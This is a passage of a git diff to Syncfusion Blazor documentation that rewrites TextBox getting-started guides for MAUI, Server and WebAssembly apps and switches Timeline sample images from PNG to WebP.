 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on NuGet. Refer to the NuGet packages topic for the list of available packages and component details: [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor) and [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages).
-
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-## Add Import Namespaces
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
+
+## Add import namespaces
+
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
 {% highlight razor tabtitle="~/_Imports.razor" %}
@@ -91,77 +82,63 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the ~/MauiProgram.cs file. Ensure that Syncfusion licensing is registered in the app startup before using any Syncfusion components. For licensing details, see the Syncfusion Blazor licensing documentation.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/MauiProgram.cs** file.
 
 {% tabs %}
-{% highlight c# tabtitle="~/MauiProgram.cs" hl_lines="2 19" %}
+{% highlight c# tabtitle="~/MauiProgram.cs" %}
 
-using Microsoft.Extensions.Logging;
+....
 using Syncfusion.Blazor;
 
-namespace MauiBlazorWindow;
+....
 
-    public static class MauiProgram
+public static class MauiProgram
+{
+    public static MauiApp CreateMauiApp()
     {
-        public static MauiApp CreateMauiApp()
-        {
-            var builder = MauiApp.CreateBuilder();
-            builder
-                .UseMauiApp<App>()
-                .ConfigureFonts(fonts =>
-                {
-                    fonts.AddFont("OpenSans-Regular.ttf", "OpenSansRegular");
-                });
-
-            builder.Services.AddMauiBlazorWebView();
-            builder.Services.AddSyncfusionBlazor();
-#if DEBUG
-            builder.Services.AddBlazorWebViewDeveloperTools();
-            builder.Logging.AddDebug();
-#endif
-
-            return builder.Build();
-        }
+        ....
+        builder.Services.AddSyncfusionBlazor();
+        ....
     }
+}
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TextBox Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Inputs/scripts/sf-textbox.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
+
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Blazor TextBox component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Inputs
 
 <SfTextBox Placeholder='First Name'></SfTextBox>
 
 {% endhighlight %}
 {% endtabs %}
 
-### How to Run the Sample on Windows
+### How to run the sample on Windows
 
 Run the sample in Windows Machine mode, and it will run Blazor MAUI in Windows.
 
 ![Blazor TextBox Component](./images/blazor-textbox-maui-app.png)
 
-### How to Run the Sample on Android
+### How to run the sample on Android
 
 To run the Blazor TextBox in an Android .NET MAUI Blazor app using the Android emulator, follow the Microsoft guidance to set up and launch an Android virtual device.
 
@@ -175,7 +152,9 @@ N> If any errors occur while using the Android Emulator, see Troubleshooting And
 
 Add an icon to the TextBox component using the [AddIconAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfTextBox.html#Syncfusion_Blazor_Inputs_SfTextBox_AddIconAsync_System_String_System_String_System_Collections_Generic_Dictionary_System_String_System_Object__) method. Below is an example of how to implement this in your Blazor application:
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Home.razor" %}
+
 @using Syncfusion.Blazor.Inputs
 
 <div id="sample" style="margin:130px auto;width:300px">
@@ -199,7 +178,9 @@ Add an icon to the TextBox component using the [AddIconAsync](https://help.syncf
 }
     }
 }
-```
+
+{% endhighlight %}
+{% endtabs %}
 
 ![Blazor TextBox with icon in .NET MAUI Blazor](./images/blazor-textbox-icons.png)
 
@@ -208,7 +189,9 @@ Add an icon to the TextBox component using the [AddIconAsync](https://help.syncf
 The floating label TextBox floats the label above the TextBox after focusing, or filled with value in the TextBox. The floating label TextBox can be created by using the [FloatLabelType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfTextBox.html#Syncfusion_Blazor_Inputs_SfTextBox_FloatLabelType) API.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
+
+@using Syncfusion.Blazor.Inputs
 
 <SfTextBox Placeholder='First Name' FloatLabelType='@FloatLabelType.Auto'></SfTextBox>
 
@@ -217,7 +200,7 @@ The floating label TextBox floats the label above the TextBox after focusing, or
 
 ![Blazor TextBox with floating label in .NET MAUI Blazor](./images/blazor-textbox-float-label.png)
 
-## See Also
+## See also
 
 * [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor WebAssembly app in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Web App in Visual Studio or .NET CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app)
\ No newline at end of file
diff --git a/blazor/textbox/getting-started-with-server-app.md b/blazor/textbox/getting-started-with-server-app.md
index bb4d87d06b..370157a460 100644
--- a/blazor/textbox/getting-started-with-server-app.md
+++ b/blazor/textbox/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Inputs
+
 <SfTextBox Placeholder='First Name'></SfTextBox>
 
 {% endhighlight %}
@@ -213,6 +215,8 @@ The floating label moves above the input when the TextBox is focused or contains
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Inputs
+
 <SfTextBox Placeholder='First Name' FloatLabelType='@FloatLabelType.Auto'></SfTextBox>
 
 {% endhighlight %}
diff --git a/blazor/textbox/getting-started.md b/blazor/textbox/getting-started.md
index b75ae4c32f..581409d7d8 100644
--- a/blazor/textbox/getting-started.md
+++ b/blazor/textbox/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting started with the Blazor TextBox component
 
-This guide explains how to include the [Blazor TextBox](https://www.syncfusion.com/blazor-components/blazor-textbox) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get started quickly with the Blazor TextBox component, review this [GitHub sample](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TextBox).
+This guide explains how to include the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox](https://www.syncfusion.com/blazor-components/blazor-textbox) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -21,27 +19,10 @@ To get started quickly with the Blazor TextBox component, review this [GitHub sa
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor app in Visual Studio
+## Create a new Blazor App in Visual Studio
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the app
-
-To add the **Blazor TextBox** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -50,11 +31,11 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor app in Visual Studio Code
+## Create a new Blazor App in Visual Studio Code
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the app
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Inputs -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,9 +64,9 @@ dotnet --version
 {% endhighlight %}
 {% endtabs %}
 
-## Create a Blazor WebAssembly app using .NET CLI
+## Create a Blazor WebAssembly App using .NET CLI
 
-Run the `dotnet new blazorwasm` command to create a Blazor WebAssembly app in a command prompt (Windows), terminal (macOS), or shell (Linux).
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,32 +77,33 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Inputs and Themes NuGet in the app
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor TextBox** component to the application, run the following commands in a command prompt (Windows) or terminal (Linux and macOS) to install the [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) topics for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Inputs](https://www.nuget.org/packages/Syncfusion.Blazor.Inputs/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Inputs -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Inputs` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.Inputs
@@ -151,23 +113,15 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,27 +129,28 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor TextBox Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Inputs/scripts/sf-textbox.min.js" type="text/javascript"></script> -->
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor TextBox component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Inputs
+
+@using Syncfusion.Blazor.Inputs
 
 <SfTextBox Placeholder='First Name'></SfTextBox>
 
@@ -206,11 +161,15 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TextBox componen
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/rjrJZMAtTozPjvlK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TextBox component in Blazor WebAssembly](./images/blazor-textbox.png)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TextBox).
+
 ## Adding icons to the Blazor TextBox
 
 Add an icon to the TextBox component using the [AddIconAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfTextBox.html#Syncfusion_Blazor_Inputs_SfTextBox_AddIconAsync_System_String_System_String_System_Collections_Generic_Dictionary_System_String_System_Object__) method. The following example shows how to implement this in a Blazor WebAssembly app.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
 @using Syncfusion.Blazor.Inputs
 
 <div id="sample" style="margin:130px auto;width:300px">
@@ -234,7 +193,9 @@ Add an icon to the TextBox component using the [AddIconAsync](https://help.syncf
 }
     }
 }
-```
+
+{% endhighlight %}
+{% endtabs %}
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VXryXaVqqmBfrsXR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TextBox with icon in Blazor WebAssembly](./images/blazor-textbox-icons.png)" %}
 
@@ -243,7 +204,11 @@ Add an icon to the TextBox component using the [AddIconAsync](https://help.syncf
 The floating label lifts above the input when the TextBox is focused or contains a value. Configure it by setting the [FloatLabelType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.SfTextBox.html#Syncfusion_Blazor_Inputs_SfTextBox_FloatLabelType) API.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Inputs
+
+@using Syncfusion.Blazor.Inputs
 
 <SfTextBox Placeholder='First Name' FloatLabelType='@FloatLabelType.Auto'></SfTextBox>
 
diff --git a/blazor/timeline/align.md b/blazor/timeline/align.md
index af7f84cc86..ea6dd24af7 100644
--- a/blazor/timeline/align.md
+++ b/blazor/timeline/align.md
@@ -50,7 +50,7 @@ In [`Before`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Layouts.Ti
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrSMXMNhTCgiUvW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Before Alignment](./images/Blazor-align-before.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNrSMXMNhTCgiUvW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Before Alignment](./images/Blazor-align-before.webp)" %}
 
 ## After
 
@@ -91,7 +91,7 @@ In [`After`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Layouts.Tim
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBysNCtBpLrvjno?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with After Alignment](./images/Blazor-align-after.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBysNCtBpLrvjno?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with After Alignment](./images/Blazor-align-after.webp)" %}
 
 ## Alternate
 
@@ -132,7 +132,7 @@ In [`Alternate`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Layouts
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZVIiDiDLprmoLpT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Alternate Alignment](./images/Blazor-align-alternate.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZVIiDiDLprmoLpT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Alternate Alignment](./images/Blazor-align-alternate.webp)" %}
 
 ## Alternate Reverse
 
@@ -173,4 +173,4 @@ In [`AlternateReverse`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNreWNWXhzAhJPqo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Alternate Reverse Alignment](./images/Blazor-align-alternatereverse.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNreWNWXhzAhJPqo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Alternate Reverse Alignment](./images/Blazor-align-alternatereverse.webp)" %}
\ No newline at end of file
diff --git a/blazor/timeline/customization.md b/blazor/timeline/customization.md
index 29153980e4..f7f48b9b2c 100644
--- a/blazor/timeline/customization.md
+++ b/blazor/timeline/customization.md
@@ -59,7 +59,7 @@ Define styles applicable to all Timeline item connectors. The CSS selector `.e-t
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrSsXCtVJSVQymc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Common Customized Connector](./images/Blazor-connector-common.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZrSsXCtVJSVQymc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Common Customized Connector](./images/Blazor-connector-common.webp)" %}
 
 ### Individual Styling
 
@@ -111,7 +111,7 @@ Apply unique styles to individual connectors to differentiate specific items wit
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjVIijCXVzSGcbwr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Individual Customized Connector](./images/Blazor-connector-individual.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjVIijCXVzSGcbwr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Individual Customized Connector](./images/Blazor-connector-individual.webp)" %}
 
 ## Dot Styling
 
@@ -173,7 +173,7 @@ Modify the color of the dots to highlight specific Timeline items. The `.e-dot`
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBosDWNVzniYHpT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot color](./images/Blazor-custom-dot-color.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBosDWNVzniYHpT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot color](./images/Blazor-custom-dot-color.webp)" %}
 
 ### Dot Size
 
@@ -237,7 +237,7 @@ Adjust the dot size using the `--dot-size` CSS variable, making it larger or sma
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhoMDCZhJdwIyCf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot size](./images/Blazor-custom-dot-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNhoMDCZhJdwIyCf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot size](./images/Blazor-custom-dot-size.webp)" %}
 
 ### Dot Shadow
 
@@ -292,7 +292,7 @@ Add shadow effects to Timeline dots for visual engagement using the `--dot-outer
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrIsDWZVzchTIyz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot shadow](./images/Blazor-custom-dot-shadow.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDrIsDWZVzchTIyz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot shadow](./images/Blazor-custom-dot-shadow.webp)" %}
 
 ### Dot Variant
 
@@ -368,7 +368,7 @@ Achieve desired dot variants by customizing the border, outline, and background
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBIMjWjrJQutWVB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot variant](./images/Blazor-custom-dot-variant.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBIMjWjrJQutWVB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot variant](./images/Blazor-custom-dot-variant.webp)" %}
 
 ### Dot Outline
 
@@ -416,4 +416,4 @@ Adding the `e-outline` class to the Timeline's [`CssClass`](https://help.syncfus
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VjryCZitBflzyNaY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Timeline Component with Customized Dot outline](./images/Blazor-custom-dot-outline.png)" %}
